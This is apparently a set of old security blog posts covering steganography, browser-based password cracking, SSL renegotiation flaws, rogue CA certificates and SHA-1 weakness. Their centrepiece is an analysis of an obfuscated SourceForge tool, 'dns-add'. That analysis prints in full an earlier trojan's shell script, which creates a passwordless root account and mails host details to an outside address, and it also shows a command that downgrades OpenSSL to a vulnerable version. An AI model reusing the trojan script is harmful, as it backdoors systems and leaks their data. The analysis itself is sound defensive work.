Code and explanations are on the ESFS project homepage.
Beyond the pratical usage, I wonder if it can offer anyhow better resistance to statistical analysis that usually defeat stenography. The author addresses partialy the point on the mailing list:

What I meant with hide is that, since it uses the LSBs, you can pick
any image, and “find data” in them, so it makes it a little bit harder
to know where you actually have data, and if you really do.

To this, a reader named stormrider pointed out an interesting research document (PDF), which is a state of the art of the limitations of stenography and the attacks against it. Is it really a dead-end ?

This is indeed a very interesting field of research.

Wait, what ? Javascript ? Yes, as the author explains, modern Javascript engines are not so slow anymore, and in addition HTML 5 brings a new “feature” with webworkers which allow the browser to run Javascript in the background (e.g without waiting on the page executing the script).

Combine it with several computers connecting to the same page executing a password cracking script and you get easily quite a powerful distributed password cracker.

Visit this page for more details.

Actually, the purpose of dns-add was very intriguing : update your DNS in one command !

The output should look like this:

...::: ISP-fW DNS add v1.0  :::... http://isp-fw.sourceforge.net/
--== copyleft 2005-2006 ==-- | Free memory:         864
contact isp.devel@gmail.com
You can add up to 9 DNS servers, enter a number from [0-9]: 2
Enter DNS1: 192.168.157.193
Enter DNS2: 192.168.157.251
Done adding 2 DNS!
DNS 192.168.157.193 responded in 0.256 ms
DNS 192.168.157.251 responded in 0.112 ms

Who would need it these days where all distros include tools and script to update the DNS with DHCP. At worst, it is just a matter of opening an editor to add two lines in /etc/resolv.conf. Done in 10 seconds.

To enjoy dns-add, we are supposed to compile the source code. Let’s have a look at it first.

It gets quickly obvious that there could be something nasty. The code is clearly obfuscated, to make it difficult to read:

• not much commented,
• a bunch of strange variables like “\026\243\314\376\220\366\154\166\346\334\005\116\360\114\015\231”. Could be the real code, hidden,
• None of the visible stuff seems to do anything on the DNS.

So now, let’s try to find out what’s behind all that. As we have the source code, the idea is to understand what the code is doing, so that we can write a snippet at the right place to just read the deciphered and potentially malicious code. That’s the easiest way, no need to disassembly and do memory forensic.

A good practice is to look for some pieces of code on the web, as developpers are lazy and often reuse already existing code. Doing that, you can save a lot of time.

Bingo ! There is a code almost entirely identical there.
We learn that the code, as old as 6 years old, actually hid a shell trojan instead of beeing a Red Hat update as claimed.

There is clearly a risk, so we must check what the code of dns-add contains. Here more hints help us again about the encoding used : some comments and a function name mention RC4 (or ARC4).

So let’s see how RC4 works and compare it with its possible implementation in dns-add.
Rougly, RC4 is just an improved XOR whith the help of a lot of keys permutations. I found a clear and short description there :

RC4 has two phases: key setup and ciphering.

The key setup phase is only done once per message and starts by initializing the entire state array so that the first state element is zero, the second is one, the third is two, and so on.

The state array is then subjected to 256 mixing operations using a loop that steps i through the values from zero to 255.

Each mixing operation consists of two steps:
Add to the variable j the contents of the ith element of the state array and the nth element of the key, where n is equal to i modulo the length of the key. (remember, the key here means the 10 byte IV at the front of the file, (or the one your program creates, if encoding), and the given key on the command line. (Key+IV)
Swap the ith and jth elements of the state array.

After the entire mixing loop is completed, i and j are set to zero.

During the ciphering operation, the following steps are performed for each byte of the message:

The variable i is incremented by one
The contents of the ith element of ‘State’ is then added to j
The ith and jth elements of ‘State’ are swapped and their contents are added together to form a new value n.
The nth element of ‘State’ is then combined with the message byte, using a bit by bit exclusive-or operation (XOR), to form the output byte.
The same ciphering steps are performed for encryption and for decryption.

void key(void * str, int len) for setting the key setup phase and void arc4(void * str, int len, char *hint) for the deciphering phase do exactly what’s described above.

They are called by char * xsh(int argc, char ** argv), which we are going to look at carefully now.

This function succevely setup all keys and decipher all the hardcoded vars. Note that a function, chkenv, setup a variable in the environment, based on the PID (and other tricks). It is not useful in the present case, but it could be developped further and used for example to avoid over-infections.

What’s interesting is actually the bottom of the function, where the guy actually builds the shellcode, putting alltogether the pieces of deciphered code.

j = 0;
varg[j++] = argv[0];		/* My own name at execution */
if (ret && *opts)
	varg[j++] = opts;	/* Options on 1st line of code */
if (*inlo)
	varg[j++] = inlo;	/* Option introducing inline code */
varg[j++] = scrpt;		/* The script itself */
if (*lsto)
	varg[j++] = lsto;	/* Option meaning last option */
i = (ret > 1) ? ret : 0;	/* Args numbering correction */
while (i < argc)
	varg[j++] = argv[i++];	/* Main run-time arguments */
varg[j] = 0;			/* NULL terminated array */

Then, it is launched with execvp:

#if DEBUGEXEC
debugexec(shll, j, varg);
#endif
execvp(shll, varg);
return shll;

Before testing further, it is safer to comment out the execvp line.

Now, we just need to retrieve the shellcode, so we just add this lazy piece of code (to insert right before #if DEBUGEXEC):

FILE *fout;
char **tmp;
tmp = varg;
fout = fopen ("dns-test","w");
do {
  fprintf (fout, *tmp);
}
while (*tmp++ != NULL);
fclose (fout);

Here we go :

$ ./dns-add
$ cat shellcode
./dns-add-c                               #!/bin/bash

dnsfile="/etc/resolv.conf"
failed='\e[1;31m'failed'\e[0m'
ok='\e[1;34m'ok'\e[0m'

function dns_add(){
mv -f $dnsfile $dnsfile.back
for (( i=1; i <= $dns_nr; i++ )) do
    echo -n "Enter DNS${i}: "
    read dns;
    echo "nameserver $dns" >> $dnsfile;
done
echo "Done adding $dns_nr DNS!"
echo
for i in `cat $dnsfile | cut -d " " -f 2`; do
    if [ `ping -c 1 $i | grep -c "100%"` -eq 1 ]; then
            echo -e "DNS $i $failed to respond => request timeout :( "
    else
        echo -ne "DNS $i responded in ";
        ping -c 1 $i | grep icmp_seq | cut -d "=" -f 4;
    fi
done
}

clear
echo -e "...::: ISP-fW DNS add v1.0  :::...""\e[1m\e[36;40m" "http://isp-fw.sourceforge.net/\e[0m ";
echo -e "--== copyleft 2005-2006 ==-- | Free memory: $(free -m|grep cache:|cut -d ":" -f2|cut -c12-22)";
echo "contact isp.devel@gmail.com"
echo
echo -n "You can add up to 9 DNS servers, enter a number from [0-9]: ";
read dns_nr;

case $dns_nr in
  [0-9]         ) dns_add;;
  [[:lower:]]   ) echo "$dns_nr is not a number!";;
  [[:upper:]]   ) echo "$dns_nr is not a number!";;
  *             ) echo "$dns_nr is not a number!";;
esac
./dns-add

That's it. A big C file just for this lame shell script. The good news is that it does what it says. There is no malicious purpose, for now, it's nothing else than a (bad) joke.

In the case of the original malware, it was more harmfull :

#!/bin/sh
cd /tmp/
clear
if [ `id -u` != "0" ]
then
        echo "This patch must be applied as \"root\", and you are: \"`whoami`\""
        exit
fi
echo "Identifying the system. This may take up to 2 minutes. Please wait ..."
sleep 3
if [ ! -d /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." " ]; then
 echo "Inca un root frate belea: " >> /tmp/mama
 adduser -g 0 -u 0 -o bash >> /tmp/mama
 passwd -d bash >> /tmp/mama
 ifconfig >> /tmp/mama
 uname -a >> /tmp/mama
 uptime >> /tmp/mama
 sshd >> /tmp/mama
 echo "user bash stii tu" >> /tmp/mama
 cat /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null
 rm -rf /tmp/mama
 mkdir -p /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." "
fi

bla()
{
  sleep 2
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 2
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 3
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 4
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo "#"
  sleep 1
}

echo "System looks OK. Proceeding to next step."
sleep 1
echo
echo -n "Patching \"ls\": "
bla
echo -n "Patching \"mkdir\": "
bla
echo
echo "System updated and secured successfuly. You may erase these files."
sleep 1
./badexec 'exec '%s' "$@"' "$@"

Technically, at the end, it is rather basic. However, it is successful in the way that it hides its purpose to most people.
What's not clear yet is the poster purpose. Fun ? Any other weired feeling ? Or just testing the capacity of the community to detect maliscious software ? If so, was he just curious or does he have any future plan ?
Maybe I should ask him.

Anyway, how many people opened and read the code ? Especially on a community driven website where people tend to have a dangerous feeling of trust and safety : it can't be malicious, the author offers the source code and nicely shares his work, right ?
And among the few people who checked the code, who really understood it ? Not everyone is an IT specialist. And even among them, not everyone is a developper or can read C.

It highlights well several things :

• social engineering is multi-platform ! We are often more vulnerable than our systems. Linux user or not.
• software published with the source code doesn't mean safe software.

As much as possible, download software exclusively from the official repositories of your favorite distribution (openSUSE ;)).
If you really have to use code from an untrusted source, check it, or wait for the right people to do it! Don't just grab any code, compile it and execute it blindly.

At the same time as open-source software grows, we, users, and also websites like Sourceforge will have to be more carefull about the content we download.

* Update *

I did contact the author and didn't get any answer.
I reported the issue to Sourceforge, which deleted the account hosting dns-add, as it violated the website policies.

You can download the source code dns-add.tar.gz if you want to analyse it.

Now the latest version of Apache mod_ssl (2.2) embeds an option to reactivate old way client renegociation :

SSLInsecureRenegotiation on

Check the official doc for more details. With this option activated, you can now safely upgrade openSSL and mod_ssl without breaking your clients. They should have done it from the begining, shouldn’t they ?

The next step will be to move on to the new protocol definitely, to solve for good the CVE-2009-3555 vulnerability. For that we have to wait for the browsers to support it.

Firefox has started to work seriously on it and we can expect some support in the next releases (some settings will be possible through about:config).

They even created a test site. This screenshot was taken from Google Chrome (5.0.366.2, openSUSE repo) which already has support for the SSL protocol :

But whereas some of these attacks concerns CA with insufficient security policies (md5 collisions) or some level of social engineering against the user (sslsniff), this paper alerts us on a more serious and stealth threat.

It explains brilliantly, providing us with real case scenarios, how a CA (probably under the authority of a government agency or a similar powerful organisation) can create a rogue certificate that will be silently trusted by our browsers.

The problem relies in the chain of trust : a root CA delegates trust to intermediate CA, which can at this point generate any “valid” certificate they want, even for a domain they shouldn’t sign.

Excerpt :

<< As an example, the Israeli government could compel StartCom, an Israeli CA to issue an intermediate CA certificate that falsely listed the country of the intermediate CA as the United States. This rogue intermediate CA would then be used to issue site certificates for subsequent surveillance activities. In this hypothetical scenario, let us imagine that the rogue CA issued a certificate for Bank Of America, whose actual certificate was issued by VeriSign in the United States. Were CertLock to simply evaluate the issuing CA’s country of the previously seen Bank of America certificate, and compare it to the issuing country of the rogue intermediate CA (falsely listed as the United States), CertLock would not detect the hijacking attempt. In order to detect such rogue intermediate CAs, a more thorough comparison must be conducted. >>

In such a case, no browser will ever send an alert, so even the most experienced and most paranoid users would be easily cheated. It makes it very easy for an agency to conduct a man-in-the-middle attack, sniffing all of the user activity.
So here is a need for an add-on.

As a Firefox user, I am using Certificate Patrol. It basically alerts the user whenever the certificate of a site changes. The inconvenience is that it requires a long learning period and it also generates quite a lot of false positive (when a certificate is renewed, for instance).

Adi Shamir and Phil Zimmerman, the author of the paper above, plan to publish a new add-on, Certlock. It will check carefully all the chain of trust for a certicate and send out an alert whenever a detail is incoherent, for instance when the country of the parent’s certificate is different from the country the rogue certificate is pretending to be.

I really hope Certlock is coming soon.

At least, the IETF agreed on a fix as Marsh Ray informs us, though it will still take some weeks for the whole validation process to complete.

Moreover, as it requires both the servers and the clients to be patched, it will take months before the patches can be applied and one can have a working client authentification architecture. The longest will be the client side, of course, so I feel sorry for those who have a large park to manage.

As far as I am concerned, fortunately, I will just have a few browsers that I manage directly to update. Anyway, still more patience is needed !

It is vulnerable to a MiTM attack where the attacker can intercept and retrieve the credential to a trusted HTTPS website, by intercepting the session cookie sent back to the client.

A proof of concept of an attack against Twitter was made.

Fine. But so far, the answer was to just disable any renegociation.

This actually causes some issues with SSL session timeout and totally broke client authentication.

I got into problems because of the latter. I am using client authentication for some location of my web server, and I recently could not connect anymore to these with the following log in apache :

[Tue Nov 24 16:56:15 2009] [debug] ssl_engine_kernel.c(1912): OpenSSL:Exit: error in SSLv3 read client hello A
[Tue Nov 24 16:56:15 2009] [error] [client x.x.x.x] Re-negotiation handshake failed: Not accepted by client!?

I first was not aware of the openssl patch and tried almost anything possible. My focus was, of course, on the certificate and the client.
But, a nice guy on IRC #suse, Stittel, had a good hunch and suggested me to look at the CVE-2009-3555 fix.

After more tests, it was quickly confirmed to work well with older versions of OpenSSL (as shipped in Debian Lenny).
Finally, I downgraded the OpenSSL version on my openSUSE box to a version prior to the CVE-2009-3555 fix and it just worked fine.

Then, I dig into it and found a lot of interesting reports there and there. So far it is a real mess.
In short, the breakage will stay as long as browsers don’t also include a patch to avoid renegotiation.
So far, I could not find a browser that does include a patch.
If anyone reading it knows a version that does it, please let me know.

Meanwhile, you have actually the choice between :

• low security by deactivating client authentication on your server
• low security by keeping a vulnerable version of OpenSSL

As my server is not very exposed, I chose the latter, but that’s not satisfying.  It is not recommended, but if like me you need to use client authentication with mod_ssl on openSUSE 11.2, do :

% zypper install --from repo-oss openssl openssl-certs libopenssl0_9_8 libopenssl0_9_8-32bit

where repo-oss is the alias to the 11.2 release (without updates) on your system.

What a brutal way to fix an issues without much notification and consideration to the users ! Even the log message is wrong and just confusing the administrator…

PS 1 : thanks again to Stittel for the good hint (I hope you will come by here) and to the always nice and helpful #suse channel in general ;)

PS 2 : bug reported on openSUSE bugzilla

Last week, it was made public that the SHA-1 hash function should be now considered vulnerable. The discovery bring up that the computation to create a collision hash has been dramaticaly reduced. As a consequence, the SHA-1 function can’t warranty anymore the uniquity – and so the integrity – of the hashed object.

There are a few ressources :

• short PDF presentation of the recent foundings
• NIST comments about it

This is the natural evolution of cryptography. Stronger cryptography is required against stronger CPU power. In this race, it is now suggested to migrate to SHA-2 whose digest lenghts range from 224 to 512 bits (instead of 160 bits for SHA-1). And until next time, where we will be urged to migrate to SHA-3 ;)

Debian, whose infrastructure was based on SHA-1 (package management, development) is quickly migrating all its keys right now. The procedure the Debian people should follow implies a transition period, where the new key will be signed with the former key, until the latter is revoked. Thus until all peers are updated too, to avoid breaking all the signing infrastruture.

Myself, I ugraded my keys from DSA/1024 bits to RSA/4096 bits (with SHA-2 hashing), so it should be ok for a while. You will find my new key here or linked from the contact page.

MD5 or SHA-1 is the algorithm used to authenticate the peer in SSL messages. If it gets compromised, and using various combined technics, it becomes possible to do a MiM attack.

But too much noise has been made about it. There is a nice reaction.

Indeed, it still requires a lot of efforts and conditions for the attack to be possible. And the CPU power is still huge : the researchers used not less than a cluster of 200 PS3 to drive the attack. Even with that hardware and engineering, it took until 3 days of intensive computation.

Not everyone can afford it, nor would have much motivation to attack a single user like this.

Security has always been a compromise between usuability and risk. Today, the risk concerning MD5 is still low enough to stop this wind of panic.

Let’s begin the migration to SHA-1 quietly.